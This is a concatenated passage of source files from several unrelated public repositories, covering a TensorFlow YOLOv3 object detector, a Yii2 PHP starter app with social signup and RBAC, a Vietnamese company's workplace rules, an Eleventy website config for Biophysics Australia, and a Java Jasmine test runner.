""" # 13,13,3,1,4 pred_box = tf.expand_dims(pred_box, -2) pred_box_xy = pred_box[..., 0:2] pred_box_wh = pred_box[..., 2:4] pred_box_wh_half = pred_box_wh / 2. pred_box_leftup = pred_box_xy - pred_box_wh_half pred_box_rightdown = pred_box_xy + pred_box_wh_half # 1,n,4 true_box = tf.expand_dims(true_box, 0) true_box_xy = true_box[..., 0:2] true_box_wh = true_box[..., 2:4] true_box_wh_half = true_box_wh / 2. true_box_leftup = true_box_xy - true_box_wh_half true_box_rightdown = true_box_xy + true_box_wh_half intersect_leftup = tf.maximum(pred_box_leftup, true_box_leftup) intersect_rightdown = tf.minimum(pred_box_rightdown, true_box_rightdown) intersect_wh = tf.maximum(intersect_rightdown - intersect_leftup, 0.) intersect_area = intersect_wh[..., 0] * intersect_wh[..., 1] pred_box_area = pred_box_wh[..., 0] * pred_box_wh[..., 1] true_box_area = true_box_wh[..., 0] * true_box_wh[..., 1] iou = intersect_area / (pred_box_area + true_box_area - intersect_area) return iou def YoloLoss(anchors): def compute_loss(y_true, y_pred): """ generate loss function from y_true and y_pred :param y_true: (x,y,w,h,c) that x,y,w,h are ratio to input shape from normalization :param y_pred: (x,y,w,h,c) that x,y are offsets from grid cell :return: loss sum of x,y, w,h confidence and categories """ input_shape = cfg.input_shape grid_shapes = tf.cast(tf.shape(y_pred)[1:3], tf.float32) # print(grid_shapes) # y_pred: (batch_size, grid, grid, anchors * (x, y, w, h, obj, ...cls)) pred_xywh, grid = yolo_head(y_pred, anchors, calc_loss=True) # get pred xy: x_offset, y_offset pred_xy = y_pred[..., 0:2] pred_wh = y_pred[..., 2:4] pred_conf = y_pred[..., 4:5] pred_class = y_pred[..., 5:] # calculate offset_x and offset_y from y_true true_xy = y_true[..., 0:2] * grid_shapes - grid # calculate ratio of w, h to anchor box true_wh = tf.math.log(y_true[..., 2:4] / anchors * input_shape) object_mask = y_true[..., 4:5] true_class = y_true[..., 5:] # set invalid w,h to zero since log(0) will cause -inf and # tf.where is to set condition True to zero and unchange the value if condition is false true_wh = tf.where(tf.math.is_inf(true_wh), tf.zeros_like(true_wh), true_wh) # box_loss_scale: a parameter that let small box to have higher weights in loss # if object detected mostly small, tune it to higher loss box_loss_scale = 2 - y_true[..., 2:3] * y_true[..., 3:4] # find negative sample group # 找到负样本群组,第一步是创建一个数组,[] ignore_mask = tf.TensorArray(dtype=tf.float32, size=1, dynamic_size=True) object_mask_bool = tf.cast(object_mask, tf.bool) # 对每一张图片计算ignore_mask def loop_body(b, ignore_mask): # in object_mask_bool, only True value are valid that y_true[...,0:4] are valid true_box = tf.boolean_mask(y_true[b, ..., 0:4], object_mask_bool[b, ..., 0]) # calculate iou from pred_box and true_box iou = box_iou(pred_xywh[b], true_box) best_iou = tf.reduce_max(iou, axis=-1) # if the highest score of iou is still smaller than threshold then consider it as negative sample of the # image ignore_mask = ignore_mask.write(b, tf.cast(best_iou < cfg.ignore_thresh, tf.float32)) return b + 1, ignore_mask batch_size = tf.shape(y_pred)[0] # create tf.while loop # args1 loop condition: b<batch_size # args2 loop body: loop_body function # args3 initial param: b=0, ignore_mask empty # lambda b,*args: b<m, *args, b<batch_size _, ignore_mask = tf.while_loop(lambda b, ignore_mask: b < batch_size, loop_body, [0, ignore_mask]) # compress and expend dim to match loss ignore_mask = ignore_mask.stack() ignore_mask = tf.expand_dims(ignore_mask, -1) xy_loss = object_mask * box_loss_scale * tf.nn.sigmoid_cross_entropy_with_logits(true_xy, pred_xy) wh_loss = object_mask * box_loss_scale * tf.square(true_wh - pred_wh) object_conf = tf.nn.sigmoid_cross_entropy_with_logits(object_mask, pred_conf) confidence_loss = object_mask * object_conf + (1 - object_mask) * object_conf * ignore_mask class_loss = object_mask * tf.nn.sigmoid_cross_entropy_with_logits(true_class, pred_class) # average loss xy_loss = tf.reduce_sum(xy_loss) / tf.cast(batch_size, tf.float32) wh_loss = tf.reduce_sum(wh_loss) / tf.cast(batch_size, tf.float32) confidence_loss = tf.reduce_sum(confidence_loss) / tf.cast(batch_size, tf.float32) class_loss = tf.reduce_sum(class_loss) / tf.cast(batch_size, tf.float32) return xy_loss + wh_loss + confidence_loss + class_loss return compute_loss ``` train.py ```import tensorflow as tf import config.config_param as cfg from data_annotation import datareader from nets.yolo_loss import YoloLoss from nets.yolov3 import yolo_body import os from tensorflow.keras import optimizers, callbacks, metrics from tensorflow.keras.optimizers.schedules import PolynomialDecay weight_path = '/home/jerry/PycharmProjects/jerry_yolo/log/yolov3_118.8456.h5' def main(): # read data #reader = datareader(cfg.data_path, cfg.input_shape, cfg.batch_size) train_data = datareader.generate('train') #print(len(list(train_data))) validation_data = datareader.generate('valid') train_steps = len(datareader.train_lines) // cfg.batch_size validation_steps = len(datareader.valid_lines) // cfg.batch_size print(train_steps,validation_steps) print('Train on {} samples, val on {} samples, with batch size {}.'.format(len(datareader.train_lines), len(datareader.valid_lines), cfg.batch_size)) optimizer = optimizers.Adam(learning_rate=cfg.learn_rating) yolo_loss = [YoloLoss(cfg.anchors[mask]) for mask in cfg.anchor_masks] train_by_fit(optimizer, yolo_loss, train_data, train_steps, validation_data, validation_steps) def train_by_fit(optimizer, loss, train_data, train_steps, validation_data, validation_steps): cbk = [ callbacks.ReduceLROnPlateau(verbose=1), callbacks.EarlyStopping(patience=10, verbose=1), callbacks.ModelCheckpoint('./log/yolov3_{val_loss:.04f}.h5', save_best_only=True, save_weights_only=True) ] input = tf.keras.layers.Input(shape=(416, 416, 3)) model = yolo_body(input, 3, 20) model.load_weights(weight_path) #model = yolo_body() model.compile(optimizer=optimizer, loss=loss) # initial_epoch用于恢复之前的训练 # model.fit(train_data, # steps_per_epoch=max(1, train_steps), # validation_data=validation_data, # validation_steps=max(1, validation_steps), # epochs=cfg.epochs, # callbacks=cbk) model.fit_generator( train_data, steps_per_epoch=train_steps, validation_data=validation_data, validation_steps=validation_steps, epochs=cfg.epochs, #initial_epoch=Freeze_epoch, callbacks=cbk) #model.save_weights('log' + 'last1.h5') if __name__ == '__main__': main()``` config_param.py ```import numpy as np # input data valid_rate = 0.1 data_path = '/home/jerry/PycharmProjects/jerry_yolo/2012_train.txt' input_shape = (416, 416) num_classes = 20 anchors = np.array([(10, 13), (16, 30), (33, 23), (30, 61), (62, 45), (59, 119), (116, 90), (156, 198), (373, 326)], np.float32) # 先验框对应索引 anchor_masks = [[6, 7, 8], [3, 4, 5], [0, 1, 2]] num_bbox = 3 # training constant valid_rate = 0.1 batch_size = 8 anchor_masks = [[6, 7, 8], [3, 4, 5], [0, 1, 2]] ignore_thresh = 0.5 # 训练信息 epochs = 50 # 学习率 learn_rating = 1e-5 # iou忽略阈值 ignore_thresh = 0.5 iou_threshold = 0.1 class_names = ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor']``` predict.py ```from nets.yolov3 import yolo_body import tensorflow as tf import matplotlib.pyplot as plt from PIL import Image import config.config_param as cfg import numpy as np from nets.yolo_utils import parse_yolov3_output from nets.yolo_head import yolo_head from timeit import default_timer as timer from PIL import Image, ImageFont, ImageDraw import colorsys model_path = '/home/jerry/PycharmProjects/jerry_yolo/log/yolov3_32.3341.h5' img_path = "/home/jerry/PycharmProjects/yolov3demo/VOC2012/JPEGImages/2011_000146.jpg" # @staticmethod def process_image(image_path): #assert isinstance(image_path, object) img = Image.open(image_path) image_width, image_height = img.size input_width, input_height = cfg.input_shape # resize image and add gray margin to meet input shape scale = min(input_width / image_width, input_height / image_height) new_width = int(image_width * scale) new_height = int(image_height * scale) image = img.resize((new_width, new_height), Image.BICUBIC) new_image = Image.new('RGB', cfg.input_shape, (128, 128, 128)) new_image.paste(image, ((input_width - new_width) // 2, (input_height - new_height) // 2)) # normalize and expend dimension for batch image_data = np.array(new_image, dtype=np.float32) image_data /= 255 image_data = np.expand_dims(image_data, 0) return (image_height,image_width), image_data def draw_pred(image,pred_bbox,pred_classes,pred_scores): font = ImageFont.load_default() # print(image.size) thickness = (image.size[0] + image.size[1]) // 300 hsv_tuples = [(x / 20, 1., 1.) for x in range(20)] #print(hsv_tuples) colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)) colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)) for i, c in enumerate(pred_classes): classes = cfg.class_names[c] box = pred_bbox[i] score = pred_scores[i] top, left, bottom, right = box draw = ImageDraw.Draw(image) draw.rectangle([left, top, right, bottom], width=thickness,outline = colors[c]) #outline = (0,0,0) label = '{} {:.4f}'.format(classes, score) label_size = draw.textsize(label, font) #text_origin = np.array([left, top - label_size[1]]) text_origin = np.array([left, top + 1]) draw.rectangle([tuple(text_origin), tuple(text_origin + label_size)]) text = '{}'.format(label) draw.text(text_origin, text, fill=(0, 0, 0), font=font) if __name__ == '__main__': model_input = tf.keras.layers.Input(shape=(416, 416, 3)) model = yolo_body(model_input, 3, 20) model.load_weights(model_path) image = Image.open(img_path) img_shape, image_data = process_image(img_path) output = model(image_data) # #print(output[0].shape) boxes, scores, classes = parse_yolov3_output(output,img_shape) print(boxes) print(scores) print(classes) #image = detect_image(image) #image.show() draw_pred(image,boxes,classes,scores) image.show() # print('Found {} boxes for {}'.format(len(boxes), 'img')) ```
zerojuls/bootstrap-yii2
zerojuls/bootstrap-yii2 Util.php ```<?php namespace app\helpers; use yii\helpers\Html; use yii\helpers\FileHelper; use yii\web\UploadedFile; class Util { /** * Convert TZ * * @param string $date * @param string $fromTimeZone * @param string $toTimeZone * @param string $format * @return string */ public static function convertTz($date, $fromTimeZone, $toTimeZone, $format = 'Y-m-d H:i:s') { $date = new \DateTime($date, new \DateTimeZone($fromTimeZone)); $date->setTimeZone(new \DateTimeZone($toTimeZone)); return $date->format($format); } /** * Clear text * Can use for meta tags * * @param string $text * @return string */ public static function clearText($text) { $text = str_replace('"', '“', $text); return Html::encode(html_entity_decode(strip_tags($text))); } /** * Make page title * * @param string $title * @param string $appendToEnd * @return string */ public static function makePageTitle($title = '', $appendToEnd = '') { $title = $title ? self::clearText($title) . ' / ' : ''; return $title . $appendToEnd; } /** * Collect model errors * * @param Model $model the model to be validated * @return array the error message array indexed by the attribute IDs. */ public static function collectModelErrors($model) { $result = []; /* @var $model Model */ $models = [$model]; foreach ($models as $model) { foreach ($model->getErrors() as $attribute => $errors) { $result[Html::getInputId($model, $attribute)] = $errors; } } return $result; } /** * Create manually UploadedFile instance by file path * * @param string $file file path * @return UploadedFile */ public static function makeUploadedFile($file) { $tmpFile = tempnam(sys_get_temp_dir(), 'app'); file_put_contents($tmpFile, file_get_contents($file)); $uploadedFile = new UploadedFile(); $uploadedFile->name = pathinfo($file, PATHINFO_BASENAME); $uploadedFile->tempName = $tmpFile; $uploadedFile->type = FileHelper::getMimeType($tmpFile); $uploadedFile->size = filesize($tmpFile); $uploadedFile->error = 0; return $uploadedFile; } } ``` README.md ```# Tests 1. Create `bootstrap_yii2_tests` database and run ``` composer test-prepare ``` 2. Run build tests ``` composer test-build ``` 3. Run tests ``` composer test ``` 4. Run tests with coverage ``` composer test-coverage ``` 5. Show coverage dashboard ``` composer test-coverage-open ``` ``` CreateLocalConfigTest.php ```<?php namespace app\tests\unit\commands; use Yii; use app\commands\CreateLocalConfigController; class CreateLocalConfigTest extends \Codeception\Test\Unit { public function testInit() { $command = new CreateLocalConfigController('test', 'test'); $command->actionInit('test.php'); $file = Yii::getAlias('@app') . '/config/local/test.php'; expect(file_exists($file))->true(); unlink($file); expect(file_exists($file))->false(); } } ``` README.md ```# Bootstrap for Yii2 [![Build Status](https://travis-ci.org/rkit/bootstrap-yii2.svg?branch=master)](https://travis-ci.org/rkit/bootstrap-yii2) [![Code Coverage](https://scrutinizer-ci.com/g/rkit/bootstrap-yii2/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/rkit/bootstrap-yii2/?branch=master) [![codecov.io](http://codecov.io/github/rkit/bootstrap-yii2/coverage.svg?branch=master)](http://codecov.io/github/rkit/bootstrap-yii2?branch=master) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/rkit/bootstrap-yii2/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/rkit/bootstrap-yii2/?branch=master) ## Features - Users, Roles, Registration, Basic and social authorization - Countries, Regions, Cities - Tags - [Settings](https://github.com/rkit/settings-yii2) - [File Manager](https://github.com/rkit/filemanager-yii2) - [Webpack for assets](https://webpack.github.io/) Screenshots: - [User List](https://cloud.githubusercontent.com/assets/4242765/5601755/2d9aad0c-9341-11e4-8ee2-ab5e02f90314.png) - [User Form](https://cloud.githubusercontent.com/assets/4242765/5601756/2fb0cdb0-9341-11e4-8d25-6aca3bc9baf8.png) ## Installation 1. Create project ``` composer global require "fxp/composer-asset-plugin:~1.0" composer create-project --prefer-dist --stability=dev rkit/bootstrap-yii2 ``` 2. Check requirements ``` php requirements.php ``` 3. Create a new database and local config ``` php yii create-local-config/init ``` > config will be created in *config/local/config.php* 4. Run ``` npm install npm run build php yii migrate --migrationPath=@yii/log/migrations/ --interactive=0 php yii migrate --migrationPath=@yii/rbac/migrations/ --interactive=0 php yii migrate --migrationPath=@vendor/rkit/filemanager-yii2/src/migrations/ --interactive=0 php yii migrate --migrationPath=@vendor/rkit/settings-yii2/src/migrations/ --interactive=0 php yii migrate/up --interactive=0 php yii rbac/init ``` Access to the Control Panel ``` username: editor password: fghfgh ``` ## Development - Enable debug mode for Yii ```apache # for apache SetEnv APPLICATION_ENV "development" # for nginx fastcgi_param APPLICATION_ENV development; ``` - Run webpack in watch mode ``` npm run watch ``` - Run webpack for build ``` npm run build ``` ``` SignupProviderForm.php ```<?php namespace app\models\forms; use Yii; use yii\helpers\ArrayHelper; use yii\base\DynamicModel; use app\helpers\Util; use app\models\User; use app\models\UserProfile; use app\models\UserProvider; class SignupProviderForm extends \yii\base\Model { /** * @var string */ public $email; /** * @var \app\models\User */ private $user = null; /** * @var bool */ private $verifiedEmail = false; /** * @var array */ private $provider = null; public function __construct($provider) { $this->provider = $provider; } /** * @inheritdoc */ public function rules() { return [ ['email', 'filter', 'filter' => 'trim'], ['email', 'required'], ['email', 'string', 'max' => 255], ['email', 'email'], ['email', 'unique', 'targetClass' => '\app\models\User', 'message' => Yii::t('app.validators', 'This email address has already been taken') ], ]; } /** * @inheritdoc */ public function attributeLabels() { return (new User())->attributeLabels(); } /** * Is verified? * * @return bool */ public function isVerifiedEmail() { return $this->verifiedEmail; } /** * Prepare user */ public function prepareUser() { $profile = $this->provider['profile']; $this->email = ArrayHelper::getValue($profile, 'email'); $isVerifiedEmail = ArrayHelper::getValue($profile, 'verified'); if ($isVerifiedEmail && !empty($this->email)) { $this->verifiedEmail = true; $this->user = User::findByEmail($this->email); if (!$this->user) { $this->user = new User(); $this->user->setConfirmed(); } } if ($this->user === null) { $this->user = new User(); } } /** * Parse provider * * @return array */ public function parseProvider() { $provider = []; switch ($this->provider['type']) { case UserProvider::TYPE_FACEBOOK: $provider = $this->parseProviderFacebook(); break; case UserProvider::TYPE_VKONTAKTE: $provider = $this->parseProviderVkontakte(); break; case UserProvider::TYPE_TWITTER: $provider = $this->parseProviderTwitter(); break; } $provider['type'] = $this->provider['type']; return $provider; } /** * Parse profile * * @return array */ public function parseProfile() { $profile = []; switch ($this->provider['type']) { case UserProvider::TYPE_FACEBOOK: $profile = $this->parseProfileFacebook(); break; case UserProvider::TYPE_VKONTAKTE: $profile = $this->parseProfileVkontakte(); break; case UserProvider::TYPE_TWITTER: $profile = $this->parseProfileTwitter(); break; } return $profile; } /** * Prepare provider attributes for facebook * * @return array */ private function parseProviderFacebook() { $profile = $this->provider['profile']; return [ 'profile_id' => $profile['id'], 'profile_url' => $profile['link'], 'access_token' => $this->provider['token']['access_token'], 'access_token_secret' => '' ]; } /** * Prepare provider attributes for vkontakte * * @return array */ private function parseProviderVkontakte() { $profile = $this->provider['profile']; return [ 'profile_id' => $profile['id'], 'profile_url' => 'https://vk.com/id' . $profile['id'], 'access_token' => $this->provider['token']['access_token'], 'access_token_secret' => '' ]; } /** * Prepare provider attributes for twitter * * @return array */ private function parseProviderTwitter() { $profile = $this->provider['profile']; return [ 'profile_id' => $profile['id'], 'profile_url' => 'https://twitter.com/' . $profile['screen_name'], 'access_token' => $this->provider['token']['oauth_token'], 'access_token_secret' => $this->provider['token']['oauth_token_secret'] ]; } /** * Prepare profile attributes for facebook * * @return array */ private function parseProfileFacebook() { $profile = $this->provider['profile']; return [ 'full_name' => trim($profile['name']), 'birth_day' => '—', 'photo' => ArrayHelper::getValue($profile, 'picture.data.url', '') ]; } /** * Prepare profile attributes for vkontakte * * @return array */ private function parseProfileVkontakte() { $profile = $this->provider['profile']; return [ 'full_name' => trim($profile['first_name'] . ' ' . $profile['last_name']), 'birth_day' => date_format( date_create_from_format('d.m.Y', $profile['bdate']), 'Y-m-d' ), 'photo' => str_replace('_50', '_400', $profile['photo']) ]; } /** * Prepare profile attributes for twitter * * @param array $data Data from social network * @return array */ private function parseProfileTwitter() { $profile = $this->provider['profile']; return [ 'full_name' => $profile['name'], 'photo' => str_replace('_normal', '_400x400', $profile['profile_image_url']) ]; } /** * Save photo * * @param \app\models\UserProfile $profile * @param string $photo * @return void */ private function savePhoto($profile, $photo) { $file = Util::makeUploadedFile($photo); $model = new DynamicModel(compact('file')); $model->addRule('file', 'image', $profile->getFileRules('photo', true))->validate(); if (!$model->hasErrors()) { $file = $profile->createFile('photo', $file->tempName, 'photo', true); $profile->photo = $file->id; $profile->save(); } } /** * Signs user up * * @param bool $checkExistEmail * @return \app\models\User */ public function signup($checkExistEmail = true) { if ($this->validate($checkExistEmail ? null : [])) { if ($this->user->isNewRecord) { $this->user->email = $this->email; $this->user->setProfile($this->parseProfile()); $photo = $this->user->profile->photo; } $this->user->setProviders($this->parseProvider()); if ($this->user->save()) { if (isset($photo) && !empty($photo)) { $this->savePhoto($this->user->profile, $photo); } if ($this->user->authorize(true)) { return $this->user; } } // @codeCoverageIgnore } // @codeCoverageIgnore return false; } /** * Sends an email with a link, for confirm the email * * @return boolean */ public function sendEmail() { if (!User::isTokenValid($this->user->email_confirm_token)) { $this->user->generateEmailConfirmToken(); $this->user->updateAttributes([ 'email_confirm_token' => $this->user->email_confirm_token, 'date_confirm' => $this->user->date_confirm, ]); } return Yii::$app->notify->sendMessage( $this->email, Yii::t('app', 'Activate Your Account'), 'emailConfirmToken', ['user' => $this->user] ); } } ``` CreateLocalConfigController.php ```<?php namespace app\commands; use Yii; use yii\console\Controller; use yii\helpers\Console; /** * Command for create local config */ class CreateLocalConfigController extends Controller { public function actionInit($name = 'config.php') { if (copy( Yii::getAlias('@app') . '/config/config.local', Yii::getAlias('@app') . '/config/local/' . $name )) { $this->stdout("Created successfully!\n", Console::FG_GREEN); } $this->stdout("Could not create\n", Console::FG_RED); // @codeCoverageIgnore } } ``` RbacTest.php ```<?php namespace app\tests\unit\commands; use Yii; use app\commands\RbacController; class RbacTest extends \Codeception\Test\Unit { public function testInit() { $command = new RbacController('test', 'test'); $command->actionInit(); } public function testCheckDeletePermission() { $auth = Yii::$app->authManager; $permission = $auth->createPermission('test'); $auth->add($permission); expect_that($auth->getPermission('test')); $command = new RbacController('test', 'test'); $command->actionInit(); expect_not($auth->getPermission('test')); } } ``` RbacController.php ```<?php namespace app\commands; use Yii; use yii\console\Controller; use yii\helpers\Console; /** * Command for create permissions * @see config/permissions.php */ class RbacController extends Controller { private $permissions = []; public function init() { $this->permissions = require __DIR__ . '/../config/permissions.php'; Yii::$app->cache->delete('rbac-permissions'); } public function actionInit() { $auth = Yii::$app->authManager; $currentPermissions = $auth->getPermissions(); foreach ($currentPermissions as $currentPermission) { if (!isset($this->permissions[$currentPermission->name])) { $auth->remove($currentPermission); } } foreach ($this->permissions as $name => $description) { $isNew = !isset($currentPermissions[$name]); $permission = $isNew ? $auth->createPermission($name) : $auth->getPermission($name); $permission->description = $description; $isNew ? $auth->add($permission) : $auth->update($name, $permission); } $this->stdout("RBAC updated\n", Console::FG_GREEN); } } ```
zerotechjsc/infomation
zerotechjsc/infomation noi-quy-cong-ty.md ```## **NỘI QUY CÔNG TY ZEROTECH .,JSC** **CHẾ ĐỘ LÀM VIỆC** Thời gian làm việc: 8h30-18h00. Nghỉ trưa từ 12h -13h30’ Hàng tuần làm việc từ thứ 2- thứ 6. Nghỉ T7, CN và lễ tết theo quy định. **QUY ĐỊNH ĐỐI VỚI NHÂN VIÊN CÔNG TY** 1. TUYỆT ĐỐI TRUNG THỰC & THÁI ĐỘ CHUẨN MỰC TRONG CÔNG VIỆC 2. Đi làm đúng giờ, trang phục gọn gang, lịch sự 3. Chấp hành nghiêm túc sự phân công của cấp trên,hòa nhã, lịch sự trong giao tiếp 4. Trong giờ làm việc phải tập trung cho công việc, không nói chuyện riêng, đùa giỡn. 5. Hạn chế sử dụng điện thoại cá nhân trong giờ làm việc, bật âm lượng nhỏ. Không sử dụng facebook vào việc cá nhân, không chơi game, không đọc báo mạng trên di động và máy tính 6. Có thời gian rảnh trong giờ làm việc, đọc sách, nghiên cứu thêm để phát triển bản thân và chuyên môn 7. Luôn có ý thức tiết kiệm, bảo quản tài sản công ty, giữ gìn vệ sinh công ty thật tốt 8. Báo cáo đầy đủ công việc hàng tuần với cấp trên 9. Nghỉ phép báo trước 2 ngày và nhờ đồng nghiệp giúp đỡ để công việc công ty không bị đình trệ **LƯU Ý:** 1. Công ty có nghiệp vụ kiểm tra, đối chiếu. Do đó,khi kết quả công việc không như mong đợi chỉ tiêu,hãy thẳng thắn thừa nhận, rút kinh nghiệm và đề ra giải pháp thay vì bào chữa, phủ nhận, hay giấu diếm. 2. Công ty luôn cho các bạn có điều kiện rút kinh nghiệm để tiến bộ dần dần. Vì vậy không bắt buộc các bạn phải đạt chỉ tiêu ngay. Yên tâm nhé! Người thành công không phải là người làm tốt 100% mọi việc mà là người biết nhận ra khuyết điểm của mình, sữa chữa và rút kinh nghiệm. ```
zeroth/biophyaustest
zeroth/biophyaustest about.md ```--- layout: layouts/about.njk --- ## About us Biophysics Australia is an emerging community of Australian researchers with interests in the fields of biophysics, physical biology or quantitative biology broadly defined. We are not a professional society and have no fees or top-down governance. We aim to foster an engaged and interactive community of researchers from undergraduates to faculty and encourage the participation of researchers at all levels and from both academia and industry. Biophysics Australia was started by Senthil Arumugam, Harrison York and Abhishek Patil who are researchers at Monash University, Melbourne and are affiliated with EMBL Australia. Our personal research interests lie in fluorescence microscopy and image analysis tools, intracellular trafficking cell-mechanics, and modelling biological processes. Please get in contact with us if you would be interested in reaching out to the community or getting involved. ``` index.md ```--- layout: layouts/home.njk --- ## Seminar Information The BASS is held semi-regularly on zoom, with talks from local and international experts in biophysics, broadly defined. The goal of the series is to highlight interesting current research and concepts in biophysics and quantitative biology, and to foster an active community amongst up-and-coming Australian biophysicists and inter-disciplinary researchers. Major areas of interest are single cell biology, emergent phenomena, modelling of biological processes and enabling technologies. ``` README.md ```# biophysicaus biophysicaus website test ``` .eleventy.js ```const { DateTime } = require("luxon"); const pluginSEO = require("eleventy-plugin-seo"); const fs = require("fs"); const metagen = require('eleventy-plugin-metagen'); /** * This is the JavaScript code that determines the config for your Eleventy site * * You can add lost of customization here to define how the site builds your content * Try extending it to suit your needs! */ module.exports = function(eleventyConfig) { eleventyConfig.setTemplateFormats([ // Templates: "html", "njk", "md", // Static Assets: "css", "jpeg", "jpg", "png", "svg", "woff", "woff2" ]); eleventyConfig.addPassthroughCopy("assets"); /* From: https://github.com/artstorm/eleventy-plugin-seo Adds SEO settings to the top of all pages The "glitch-default" bit allows someone to set the url in seo.json while still letting it have a proper glitch.me address via PROJECT_DOMAIN */ const seo = require("./src/seo.json"); if (seo.url === "default") { seo.url = `https://www.biophysicsaus.com`; } // eleventyConfig.addPlugin(pluginSEO, seo); eleventyConfig.addPlugin(metagen); // Filters let you modify the content https://www.11ty.dev/docs/filters/ eleventyConfig.addFilter("htmlDateString", dateObj => { return DateTime.fromJSDate(new Date(dateObj), { zone: "utc" }).toLocaleString(DateTime.DATE_FULL); }); eleventyConfig.addFilter("titleCase", text=>{ return text.replace( /\w\S*/g, function(txt) { return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); } ); }) eleventyConfig.addShortcode("textsize", (text, limit)=> { if(text.length === limit) { return text; } return text.slice(0,limit)+"..."; }); eleventyConfig.addShortcode("labname", (name)=> { return name.split(" ").slice(-1)[0] + " Lab"; }); eleventyConfig.setBrowserSyncConfig({ ghostMode: false }); /* Build the collection of posts to list in the site - Read the Next Steps post to learn how to extend this */ eleventyConfig.addCollection("talks", function(collection) { /* The posts collection includes all posts that list 'posts' in the front matter 'tags' - https://www.11ty.dev/docs/collections/ */ // EDIT HERE WITH THE CODE FROM THE NEXT STEPS PAGE TO REVERSE CHRONOLOGICAL ORDER // (inspired by https://github.com/11ty/eleventy/issues/898#issuecomment-581738415) const coll = collection .getFilteredByTag("talks"); // From: https://github.com/11ty/eleventy/issues/529#issuecomment-568257426 // Adds {{ prevPost.url }} {{ prevPost.data.title }}, etc, to our njks templates for (let i = 0; i < coll.length; i++) { const prevPost = coll[i - 1]; const nextPost = coll[i + 1]; coll[i].data["prevPost"] = prevPost; coll[i].data["nextPost"] = nextPost; } return coll; }); return { dir: { input: "src", includes: "_includes", output: "build" } }; }; ```
zeroturnaround/jasmine-junit-runner
zeroturnaround/jasmine-junit-runner JasmineTestRunnerFailingSpec.java ```package com.zeroturnaround.junit.jasmine.classes; import org.zeroturnaround.junit.jasmine.JasmineSuite; @JasmineSuite(specs = { "failingSpec.js" }) public class JasmineTestRunnerFailingSpec { } ``` JasmineTestRunnerSuccessSpec.java ```package com.zeroturnaround.junit.jasmine.classes; import org.zeroturnaround.junit.jasmine.JasmineSuite; @JasmineSuite(specs = { "emptySpec.js" }) public class JasmineTestRunnerSuccessSpec { } ``` JasmineSuite.java ```package org.zeroturnaround.junit.jasmine; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import org.apache.commons.lang.StringUtils; @Retention(RetentionPolicy.RUNTIME) public @interface JasmineSuite { String jsRootDir() default "src/test/javascript"; String sourcesRootDir() default "src/main/webapp/js"; String[] specs() default {}; String[] sources() default {}; boolean generateSpecRunner() default false; boolean debug() default false; /** * If set to false, does not load EnvJS support. */ boolean envJs() default true; String specRunnerSubDir() default StringUtils.EMPTY; String specRunnerTemplate() default "js/lib/specRunner.tpl"; String specRunnerSourcesRelativePath() default "./../../../main/webapp/js"; String specRunnerSpecsRelativePath() default "./../specs"; boolean headJs() default false; } ``` JasmineSpecRunnerGenerator.java ```package org.zeroturnaround.junit.jasmine; import java.io.File; import java.io.IOException; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; class JasmineSpecRunnerGenerator { private enum TemplatePlaceholders { RELATIVE_PATH("<!--RelativePath-->"), SOURCE_FILES_TO_INCLUDE("<!--SourceFileIncludes-->"), SPEC_FILES_TO_INCLUDE("<!--SpecFileIncludes-->"); private final String placeholder; private TemplatePlaceholders(String placeholder) { this.placeholder = placeholder; } public String getPlaceholder() { return placeholder; } } private final JasmineSuite suite; private final String[] jasmineSpecs; private final String outputPath; private final String outputFileName; public JasmineSpecRunnerGenerator(String[] jasmineSpecs, JasmineSuite suite, String outputPath, String outputFileName) { this.jasmineSpecs = jasmineSpecs; this.suite = suite; this.outputPath = outputPath; this.outputFileName = outputFileName; } public void generate(JasmineSuite suiteAnnotation) { String template = loadTemplate(suite.specRunnerTemplate()); template = replaceRelativePathsForLibs(template); template = template.replaceAll(TemplatePlaceholders.SOURCE_FILES_TO_INCLUDE.getPlaceholder(), getJavascriptFileIncludes(suiteAnnotation.specRunnerSourcesRelativePath(), suite.sources())); template = template.replaceAll(TemplatePlaceholders.SPEC_FILES_TO_INCLUDE.getPlaceholder(), getJavascriptFileIncludes(suiteAnnotation.specRunnerSpecsRelativePath(), jasmineSpecs)); try { FileUtils.writeStringToFile(new File(outputPath + "/" + outputFileName), template); } catch (IOException e) { throw new RuntimeException("unable to write spec runner contents to destination", e); } } private String replaceRelativePathsForLibs(String template) { return template.replaceAll(TemplatePlaceholders.RELATIVE_PATH.getPlaceholder(), suite.jsRootDir()); } private String getJavascriptFileIncludes(String path, String[] jsFiles) { StringBuilder sourceFileIncludes = new StringBuilder(); for (String sourceFile : jsFiles) { if (suite.headJs()) { sourceFileIncludes.append("\t\thead.js('").append(path).append("/").append(sourceFile).append("');\r\n"); } else { sourceFileIncludes.append("\t\t<script type='text/javascript' src='").append(path).append("/").append(sourceFile).append("'></script>\r\n"); } } return sourceFileIncludes.toString(); } private String loadTemplate(String name) { try { return IOUtils.toString( Thread .currentThread() .getContextClassLoader() .getResourceAsStream(name) ); } catch (NullPointerException e) { throw new IllegalStateException("spec runner template file '" + name + "' not found!"); } catch (IOException e) { throw new IllegalStateException("spec runner template file '" + name + "' could not be read!", e); } } } ``` JasmineSpecFailureException.java ```package org.zeroturnaround.junit.jasmine; import org.mozilla.javascript.NativeObject; class JasmineSpecFailureException extends Exception { private final NativeObject result; public JasmineSpecFailureException(NativeObject specResultItem) { this.result = specResultItem; } @Override public String getMessage() { return String.valueOf(result.get("message", result)); } } ``` JasmineTestRunnerDoesNotLoadEnvJS.java ```package com.zeroturnaround.junit.jasmine.classes; import org.zeroturnaround.junit.jasmine.JasmineSuite; @JasmineSuite(specs = { "doesNotLoadEnvJSSpec.js" }, envJs = false) public class JasmineTestRunnerDoesNotLoadEnvJS { } ``` EnvUtilsTest.java ```package com.zeroturnaround.env; import org.junit.Before; import org.junit.runner.RunWith; import org.zeroturnaround.junit.jasmine.JasmineSuite; 